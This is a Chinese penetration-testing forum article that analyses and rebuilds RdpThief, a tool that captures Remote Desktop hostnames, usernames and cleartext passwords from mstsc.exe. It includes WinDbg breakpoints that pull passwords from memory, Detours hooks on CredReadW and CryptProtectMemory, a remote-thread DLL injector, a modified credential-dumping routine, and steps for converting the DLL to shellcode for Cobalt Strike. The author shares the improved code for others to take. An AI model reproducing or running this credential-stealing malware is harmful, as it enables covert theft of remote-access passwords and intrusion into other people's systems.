问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
对获取 rdp 密码的小工具 RdpThief 的一次深究
渗透测试
RdpThief 是一个可以获取rdp密码的工具
0x01 前言 ------- RdpThief 其实一个老工具了(19年的),奈何我太菜了,最近才发现,所以今天还是老样子,咱们继续分析一下工具原理。**大佬请绕路!!** > 本人知识有限,如果有错误的地方,请各位大佬指出! 0x02 复现 ------- 首先,肯定是先复现一波。去 <https://github.com/0x09AL/RdpThief> 把仓库下载下来 然后把`RdpThief_x64.tmp`和`RdpThief.cna`放到 cs 服务端的`scripts`目录下,然后用 cs 的`脚本管理器`加载`RdpThief.cna`插件就行,这个我就不截图了。。  然后就是根据 README 所说的,`rdpthief_enable`启动,等待受害机器打开`mstsc`远程连接别的机器。当看到`Tasked beacon to inject...`,接着输`rdpthief_dump`就可以看到主机+账号+密码了 > 下图虽然有很多方框,但是勉强还是能看到内容的。此外,我们仔细观察会发现,第二段的 server 是乱码。。  0x03 分析准备 --------- 测试环境:两台 win10 用到的工具: - [API Monitor](http://www.rohitab.com/apimonitor#Download) - [WinDbg](https://down.52pojie.cn/Tools/Debuggers/) 首先打开 API Monitor,在`API Filter`->`Capture`,把所有项都勾上  同时,在`API Filter`->`Display`增加一项,把 `DLLMAIN`动态链接库入口函数隐藏掉,如下:  接着我们`Win+R`打开运行窗口,输入`mstsc`打开远程桌面连接 然后回到 API Monitor,在`Running Processes`窗口找到刚刚打开的`mstsc.exe`进程,右键->`Start Monitoring`  接着展开`Monitored Processes`窗口下的`mstsc.exe`进程->`Modules`->`mstsc.exe`,如下图: > 其实这里直接双击`Monitored Processes`窗口下的`mstsc.exe`进程,在这里直接搜索就行。  然后回到远程桌面连接,输入要远程的机器ip+用户名+密码   成功连接之后,API Monitor 要抓的数据已经齐全,因此准备工作到此结束。接下来是开始分析了。 0x04 分析 ------- ### 1. 拦截用户名 在`mstsc.exe`下搜索刚刚登录的用户名`root`,如下图:  可以看到,我们的用户名出现在`Advapi32.dll`下的`CredIsMarshaledCredentialW`函数的第一个参数`LPTSTR`里面。 接下来用 WinDBG 调试一下,直接附加(Attach)`mstsc.exe`  在`ADVAPI32.dll`下的`CredIsMarshaledCredentialW`函数上打断点,并且输出 rcx 寄存器的内容 ```WinDBG bp ADVAPI32!CredIsMarshaledCredentialW "du @rcx" ``` > 为啥要查看rcx寄存器的内容呢?这里涉及一个函数调用规定-- `fast call`:一个函数在调用时,前四个参数是从左至右依次存放于`RCX`、`RDX`、`R8`、`R9`寄存器里面 > 而,通过API Monitor 我们已经得知,`CredIsMarshaledCredentialW`函数只有一个参数,因此其值会放在`rcx`寄存器中 如果我们现在直接打断点,会出现错误如下:  这是为啥呢?为啥找不到这个函数呢?我首先怀疑的是符号表没有加载好。 ```WinDBG lm m ADVAPI32 ```  发现已经加载了,那就是函数名字变了,于是我用`*`模糊搜一下 ```WinDBG x ADVAPI32!CredIsMarshaled* ```  发现函数名字改了。。。根本不是`CredIsMarshaledCredentialW`,看来`API Monitor`还是有点问题的。现在不太确定是哪个函数,没关系,两个都打上断点试试 ```WinDBG bp ADVAPI32!CredIsMarshaledCredentialA "du @rcx" bp ADVAPI32!CredIsMarshaledCredentialWStub "du @rcx" ``` 然后按`F5`或者点击如图的图标或者在命令窗口输入`g`运行  点击`连接`,输入密码,触发断点。  发现断点断在了`ADVAPI32!CredIsMarshaledCredentialWStub`,且用户名打印了出来 至于为啥要看 rcx,上面已经解释了,`fast call`的原因,第一个参数放在`rcx`上。当然,我们也可以很暴力的,直接把 rcx 寄存器所在的内存打印出来看看就知道了 ```WinDBG db rcx ```  ok,用户名到手! ### 2. 拦截主机名 接下来是主机名,回到`API Monitor`,同样还是`module`下的`mstsc.exe`  从上图可知,主机名出现在了`Advapi32.dll`下的`CredReadW`函数的第一个参数上。继续搜搜  发现主机名也出现在了`SspiCli.dll`下的`SspiPrepareForCredRead`函数的第二个参数上。 WinDBG走起,为了下面方便,把刚刚设置的断点给关掉先,也可以直接`Debug`->`Restart`,简单粗暴 ```WinDBG bl # 列出断点 bd 0 # 禁用0号断点 bd 1 # 禁用1号断点 ``` > 直接点图中的`Disable`或者`Clear`也行  有了刚刚的错误经验,我们可以先看看 ```WinDBG x ADVAPI32!CredRead* ```  果然变了,打上断点,`g`运行,然后点击`连接`,触发断点 ```WinDBG bp ADVAPI32!CredReadWStub "du @rcx" ```  发现啥也没有,输入`g`,再次运行,又触发了断点,这次有内容了。  同样地,为啥看 rcx,因为是第一个参数,打印一下即可,这里发现,rcx 和 rbx 都有  再看看第二个函数`SspiPrepareForCredRead`,因为是第二个参数,所以这里打印`rbx`,同时记得把刚刚的断点禁用掉。 ```WinDBG bp SSPICLI!SspiPrepareForCredRead "du @rdx" ```   ok,主机名到此为止。 ### 3. 密码 接下来就是密码了。对于 Windows 的应用程序来说,如果内存中有一些敏感数据需要加解密,可以使用 DPAPI(数据加密保护接口)。DPAPI 是Windows**系统级**对数据进行加解密的一种接口。具体可以参考:[https://blog.csdn.net/xiaoqing\_2014/article/details/79546957](https://blog.csdn.net/xiaoqing_2014/article/details/79546957) 。基于这个前提,我们可以简单的认为(我猜[Rio](https://twitter.com/0x09al)也是这样想的),rdp登录的密码,也会用到它,即加解密内存的接口`CryptProtectMemory`和`CryptUnprotectMemory`。 直接双击`Monitored Processes`窗口下的`mstsc.exe`进程,直接搜`CryptProtectMemory`,找到调用。 首先是把用户名丢过去加密了。  然后才是我们需要的密码。 > 这个密码直接搜是搜不到的。。  由上图得知,我们的密码确实出现在`Crypt32.dll`下的`CryptProtectMemory`的第一个参数`pData`里面,直接上 WinDbg 打断点。 ```WinDBG bp crypt32!cryptprotectmemory ``` 无法识别,如下图  老规矩,模糊搜一下,发现只有一个`CryptProtectData`,那还等啥,直接打断点 ```WinDBG x crypt32!CryptProtect* bp CRYPT32!CryptProtectData ```  输入`g`,连接,输密码,直接连上了。。。。 为啥没有停在断点上????是不是我操作出错了???然后我重新试了一下,发现还是没有停下来。 先思考一下没有停下来的原因。回忆一下刚刚的流程:本来我们应该要给`crypt32!cryptprotectmemory`打断点,但是找不到,所以我们模糊搜了下,发现只有`crypt32!CryptProtectData`有点类似,所以给它打断点了,最后运行的时候没有停下来。说明这个有点类似的函数`crypt32!CryptProtectData`根本不是 API Monitor 中提到的函数,所以现在的解决思路就是,找一下`crypt32!cryptprotectmemory`函数,到底是不是在`crypt32`模块中。 于是我决定,找官方文档:<https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory>  官方文档也是说这个函数在`Crypt32.dll`里面。 因此,我不得不搬出神器:<https://github.com/strontic/xcyclopedia> , 它的网页版在 <https://strontic.github.io/> ,在上面搜 `CryptProtectMemory`,发现,该函数除了在`crypt32.dll`有,在`dpapi.dll`里面也有。  点开 <https://strontic.github.io/xcyclopedia/library/dpapi.dll-BC3EF1D4F109A82BDFE085604B822517.html> 看一下,它已经作为`dpapi.dll`的导出函数了。。。  不多bb,WinDbg 直接`Ctrl+Shift+F5`重启,打断点 ```WinDBG bp dpapi!cryptprotectmemory ```  发现还是报错。模糊搜一下 : ```WinDBG x DPAPI!crypt* ```  发现连`DPAPI` 模块都没有识别出来,查一下模块加载 ```WinDBG lm m DPAPI ```  果然这个`DPAPI.dll`还没加载,对于没有加载的模块,打断点,我们都是用`bu`预加载代替`bp`的 > 实际上,`bp`打断点没有找到的话,会自动转换成`bu`,这里之前已经用`bp`打过断点了,所以这里就不再用`bu`打了 ```WinDBG bu dpapi!cryptprotectmemory ``` 打完断点后,`g`运行,连接,输密码,停在了`dpapi!CryptProtectMemory`处  此时我们查看一下`rcx`(第一个参数)的内容,发现里面出现了用户名,对应上了刚刚 API Monitor 中看到的,第一次是加密用户名。  接下来输入`g`继续运行,再查看一下`rcx`的内容,终于看到了我们梦寐以求的密码了  可以看到前面有4个字节的内容我们是用不到的,所以可以跳过这四个字节,直接显示密码 ```WinDBG du @rcx+4 ```  当然,我们也得搞懂,这4个字节代表啥,直接访问官方文档 <https://docs.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectmemory> ,查看第一个参数的含义。里面该参数里面还有个`cbData`,用于**指定将被加密的字节数**,所以这四个字节,就是存要加密的密码的字节数的。  至此,密码到手。 ### 4. 小结 综上,我们会用到以下的 API: - `CredIsMarshaledCredentialWStub` --> 用户名 - `CredReadWStub`/`SspiPrepareForCredRead` --> 主机名 - `CryptProtectMemory` --> 密码 0x05 RdpThief ------------- ### detours 的简单使用 分析了这么久,终于要开始研究大佬写的 RdpThief 了,因为 RdpThief 使用 detours 库开发的,所以这里简单提一下该库的使用。具体可以看链接: <https://blog.csdn.net/z971130192/article/details/100565398> 。 直接上Github下载:<https://github.com/microsoft/detours>。 下面就可以开始编译工作了。 解压后的文件夹应该如下图所示:  然后,在开始菜单中找到`x64 Native Tools Command Prompt for VS 2019` 和 `x86 Native Tools Command Prompt for VS 2019`,这两个可以分别用来编译64位和32位的Detours,如下图所示。  下面就简单了,以`x64 Native Tools Command Prompt for VS 2019`为例,定位路径到解压的 Detours 文件夹的 `src` 目录下,然后使用 `nmake` 编译,编译完成后,会在根目录生成`bin.X64`、`lib.X64`、`include`这三个文件夹,如图所示: ```bash cd src nmake /f Makefile ```  接着我们新建一个vs项目,右键项目->属性  配置属性->VC++目录,把刚刚生成的`include`目录加到`包含目录`里面,`lib.X64`目录加到`库目录`里面  然后我们写一个测试代码了,如下: ```cpp #define _CRT_SECURE_NO_DEPRECATE #include <iostream> #include <windows.h> // 关键是这两行,导入 detours #include "detours.h" #pragma comment(lib, "detours.lib") using namespace std; int (WINAPI* Old_MessageBoxW)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBoxW; int WINAPI New_MessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) { // 这里可以做任意的操作 return Old_MessageBoxW(NULL, L"Hooked MessageBoxW content", L"Hooked MessageBoxW title", NULL); } void Hook() { DetourTransactionBegin(); // 开始一个事务,拦截开始 DetourUpdateThread(GetCurrentThread()); // 更新当前线程 DetourAttach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW); // 将拦截的函数 New_MessageBoxW 附加到原函数 Old_MessageBoxW 的地址上 DetourTransactionCommit(); // 提交事务,拦截生效 } void DeHook() { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); DetourDetach(&(PVOID&)Old_MessageBoxW, New_MessageBoxW); // 解除 Hook ,将拦截的函数从原函数的地址解除 DetourTransactionCommit(); } int main() { // 先调用一下原来的函数 MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL); // hook之后再调用 Hook(); MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL); // unhook 之后再调用 DeHook(); MessageBoxW(NULL, L"原来的MessageBoxW content", L"原来的MessageBoxW title", NULL); return 0; } ```  效果如下:    可能有些同学会好奇,代码中定义的这个`MessageBoxW`函数的函数指针是怎么拿到的,很简单,代码中调用一下`MessageBoxW`,然后右键 -> 转到定义  就可以看到定义了。  ### 重新编译 RdpThief 在了解完 detours 库的简单使用之后,我们开始研究 [RdpThief](https://github.com/0x09AL/RdpThief) 的代码。 先把代码下载下来,然后用 vs 新建一个`动态链接库(DLL)`  把`RdpThief.cpp`直接拖进 vs 的项目中,并且把原来vs的项目中的`dllmain.cpp`文件删掉,同时把`RdpThief.cpp`代码中的`#include "stdafx.h"`改成`#include "pch.h"`,并加一行`#pragma comment(lib, "detours.lib")`如下: > `stdafx.h`包含了`targetver.h`,`targetver.h`里面又包含了`SDKDDKVer.h`,这玩意给老版本的 windows 用的,包不包含其实问题不大,这里我就不管了。  因为还没配置 detours,所以会报错。首先选择一下版本和平台。  然后按照上面小节中的,配置 detours 的过程配置一下就行,如下:  配置完后,就不会报错了。现在就可以选择`生成`->`重新生成解决方案`来生成dll了  因为我选择了`Release`和`X64`,所以生成的 dll 在代码文件夹下的 x64 -> Release  ### 测试 RdpThief.dll 是否可用 生成了 dll 之后,我们得测试一下,这玩意能不能用。怎么测试呢?把 dll 注入到`mstsc.exe`进程中就行。好啦,接下来这部分的内容就是**dll注入**的内容了。 因为dll注入不是本文的重点,所以这里不会详细讲解,只列出大概的注入过程,有机会的话,后面我们可以仔细探讨一下。 1. 打开进程句柄 2. 分配一块可读写的内存空间 3. 将所需DLL的路径写入内存 4. 获得LoadLibraryA函数地址 5. 通过远程线程执行LoadLibraryA函数,并且指定参数为DLL路径的内存地址 这里多了一个`getPPID`函数,主要用于根据进程名,自动获取进程id,懒得每次手动输入 mstsc.exe 的 pid 了。 ```cpp #define _CRT_SECURE_NO_DEPRECATE #include <iostream> #include <Windows.h> #include <TlHelp32.h> // 根据进程名,获取进程id DWORD getPPID(LPCWSTR processName) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 process = { 0 }; process.dwSize = sizeof(process); if (Process32First(snapshot, &process)) { do { if (!wcscmp(process.szExeFile, processName)) break; } while (Process32Next(snapshot, &process)); } CloseHandle(snapshot); return process.th32ProcessID; } int main() { HANDLE processHandle; PVOID remoteBuffer; // 修改这里的dll路径 wchar_t dllPath[] = TEXT("E:\\code\\RdpThief\\x64\\Release\\RdpThief.dll"); LPCWSTR parentProcess = L"mstsc.exe"; DWORD parentPID = getPPID(parentProcess); processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPID); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); CloseHandle(processHandle); return 0; } ``` 先打开`win+r`->`mstsc`打开远程桌面,然后运行上面代码,运行结束后,再点连接输入密码。连接成功后,在`temp`目录下就可以看到生成的`data.bin`了 > `win+r`,输入`%temp%`可以打开临时目录。因为`RdpThief.dll`把抓到的账号密码放到了临时目录下的`data.bin`,所以我们要看这里。  ok,至此,我们已经知道怎么测试 RdpThief.dll 了。 ### 修改 RdpThief 所以,接下来就是修改 RdpThief 了。RdpThief 使用把`SspiPrepareForCredRead`拦截主机名,这里把 `SspiPrepareForCredRead` 修改成 `CredReadWStub` 拦截主机名。 还记得之前我们咋找到 MessageBoxW 的定义吗?这里也一样,随便找个地方,直接输入`CredReadWStub`,尴尬的是,只有`CredReadW`没有`CredReadWStub`,这点倒是和WinDbg中的不一样,和 API Monitor中的一样。确实把我搞蒙了,如果有大佬知道,麻烦告知一下。  那既然没有`CredReadWStub`,那就用`CredReadW`呗,右键->转到定义,拿到了如下的定义。 ```cpp WINADVAPI BOOL WINAPI CredReadW ( _In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW *Credential ); ``` 所以简单改改,函数指针就有了。 ```cpp static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW; ``` 然后仿造这个函数声明,定义一个`HookedCredReadW`函数,函数里面只把参数`TargetName`赋值给全局变量`lpServer`就行。整体如下: > 这个全局变量就是之后写入文件中的主机名了 ```cpp static BOOL (WINAPI * OriginalCredReadW)(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) = CredReadW; BOOL HookedCredReadW(_In_ LPCWSTR TargetName, _In_ DWORD Type, _Reserved_ DWORD Flags, _Out_ PCREDENTIALW* Credential) { // 拿到主机名 lpServer = TargetName; // 其他不变,调用原来的函数 return OriginalCredReadW(TargetName, Type, Flags, Credential); } ```  当然,我们需要注册新的 hook `HookedCredReadW` 并取消注册旧的 hook `_SspiPrepareForCredRead`。 ```cpp DetourAttach(&(PVOID&)OriginalCredReadW, HookedCredReadW); DetourDetach(&(PVOID&)OriginalCredReadW, HookedCredReadW); ```  重新生成dll,并按照上一小节的测试过程,重新测试一遍,可以看到效果一致 > 记得把原来的 data.bin 删了  ### 看一下代码 其实整体代码,唯一有点小疑问的,就是`CryptProtectMemory`的 hook 函数那里,第一个参数`pDataIn`的地址,为啥要`+0x1`  其实仔细想想,我们之前分析的时候,第一个参数 `pDataIn`里面,前四个字节是`cbData`,4个字节,不正正好是偏移一个地址吗?所以这个`+0x1`刚刚好。 0x06 cna插件 ---------- 根据作者在文章 <https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/> 中提到的,可以用 <https://github.com/monoxgas/sRDI> 把 dll 转换成 shellcode,让cs加载。 具体就是把sRDI 仓库下载下来后,进入其`python`文件夹,运行以下命令,然后把生成的`RdpThief.bin`改名成`RdpThief_x64.tmp` ```bash python3 ConvertToShellcode.py RdpThief.dll ```  然后放在cs 服务端下,加载插件就行,具体可以参看《0x02 复现》那一小节。从下图可以看出来,我们自己编译的dll,转换成的shellcode,cs可以正常加载,并且能成功拿到密码。  0x07 解决方框问题 ----------- `rdpthief_dump`命令,实际上是用 type 命令读取`%temp%\data.bin`,会出现方框,肯定是编码的问题  原来的写文件代码如下: ```cpp VOID WriteCredentials() { const DWORD cbBuffer = 1024; TCHAR TempFolder[MAX_PATH]; GetEnvironmentVariable(L"TEMP", TempFolder, MAX_PATH); TCHAR Path[MAX_PATH]; StringCbPrintf(Path, MAX_PATH, L"%s\\data.bin", TempFolder); HANDLE hFile = CreateFile(Path, FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); WCHAR DataBuffer[cbBuffer]; memset(DataBuffer, 0x00, cbBuffer); DWORD dwBytesWritten = 0; StringCbPrintf(DataBuffer, cbBuffer, L"Server: %s\nUsername: %s\nPassword: %s\n\n",lpServer, lpUsername, lpTempPassword); WriteFile(hFile, DataBuffer, wcslen(DataBuffer)*2, &dwBytesWritten, NULL); CloseHandle(hFile); } ``` 它使用 unicode(wchar)编码的,所以我们可以考虑,把 wchar 转成 char 试试。 直接修改`RdpThief.cpp`,首先增加三行代码,因为用到了`string`和`ofstream` ```cpp #include <iostream> #include <fstream> using namespace std; ``` 然后增加一个 wchar 转 char 的方法,这里用到了[WideCharToMultiByte](https://docs.microsoft.com/en-us/windows/win32/api/stringapiset/nf-stringapiset-widechartomultibyte) 函数  ```cpp char* UnicodeToChar(LPCWSTR unicode_str) { int num = WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, NULL, 0, NULL, FALSE); char* pchar = (char*)malloc(num); WideCharToMultiByte(CP_OEMCP, NULL, unicode_str, -1, pchar, num, NULL, FALSE); return pchar; } ``` 剩下的就是写文件了,先把原来的`WriteCredentials`方法注释掉,然后加入以下的方法。 ```cpp VOID WriteCredentials() { // 获取临时目录,并转换成char* TCHAR wtempPath[MAX_PATH]; DWORD dwSize = 50; GetTempPath(dwSize, wtempPath); char tempPath[MAX_PATH]; wcstombs(tempPath, wtempPath, wcslen(wtempPath) + 1); string temp_path(&tempPath[0], &tempPath[strlen(tempPath)]); // 打开临时文件 ofstream f_temp(temp_path + "data.bin"); if (f_temp) { f_temp << "Server: " << UnicodeToChar(lpServer) << "\nUsername:" << UnicodeToChar(lpUsername) << "\nPassword: " << UnicodeToChar(lpTempPassword) << "\n\n"; } f_temp.close(); } ``` 因为这里用了`wcstombs`,vs 可能会报错如下: ```php 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. ``` 找到`项目属性`-> `配置属性`->`C++`里的`预处理器定义`,在里面加入一段代码:`_CRT_SECURE_NO_WARNINGS`即可。  然后重新打包成dll,测试一波,没毛病 > 这里我测试的时候,生成的文件是 temp\_out.txt 而不是 data.bin  然后就是老规矩,用 sRDI 把dll转成 shellcode,丢给cs试试,也没问题  后面测试发现,主机名+账号+密码,有时候能够完整的获取到,有时候又不行,直接是乱码,最后我是在没辙了,把原来的方法改成`WriteCredentials_bak`,放到我新的方法后面再调一遍,别问为什么,问就是两种编码结合,稳。  0x08 解决 win7 无法使用问题 ------------------- win7 系统下,一注入dll,mstsc.exe 就会崩溃。。。解决方法如下: 项目->属性->配置属性->C/C++ -> 代码生成,把运行库从`多线程DLL(/MD)`改成`多线程(/MT)`即可   结果如下:  0x09 福利时间 --------- 老样子,所用到的代码,和编译后的,都丢到了 Github:<https://github.com/fengwenhua/RdpThief> ,自取。 0x0a 后言 ------- 本文有两个小尾巴其实没有完全解决,不过,先留着吧,以后随着技术提高,我相信我会搞明白的。 1. API Monitor 和 WinDbg 和 VS 里面,函数名不一样,这到底为啥?? 2. cs 插件加载后,获取到的数据,有时候会乱码,这又是为啥?? 0x0b 参考链接 --------- <https://www.mdsec.co.uk/2019/11/rdpthief-extracting-clear-text-credentials-from-remote-desktop-clients/> <https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling> <https://github.com/0x09AL/RdpThief> **都看到这里了,不管你是直接拉到底的,还是看到底的,要不辛苦一下,给点个推荐呗?**
发表于 2022-01-04 09:43:15
阅读 ( 10550 )
分类:
内网渗透
3 推荐
收藏
0 条评论
请先
登录
后评论
江南小虫虫
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!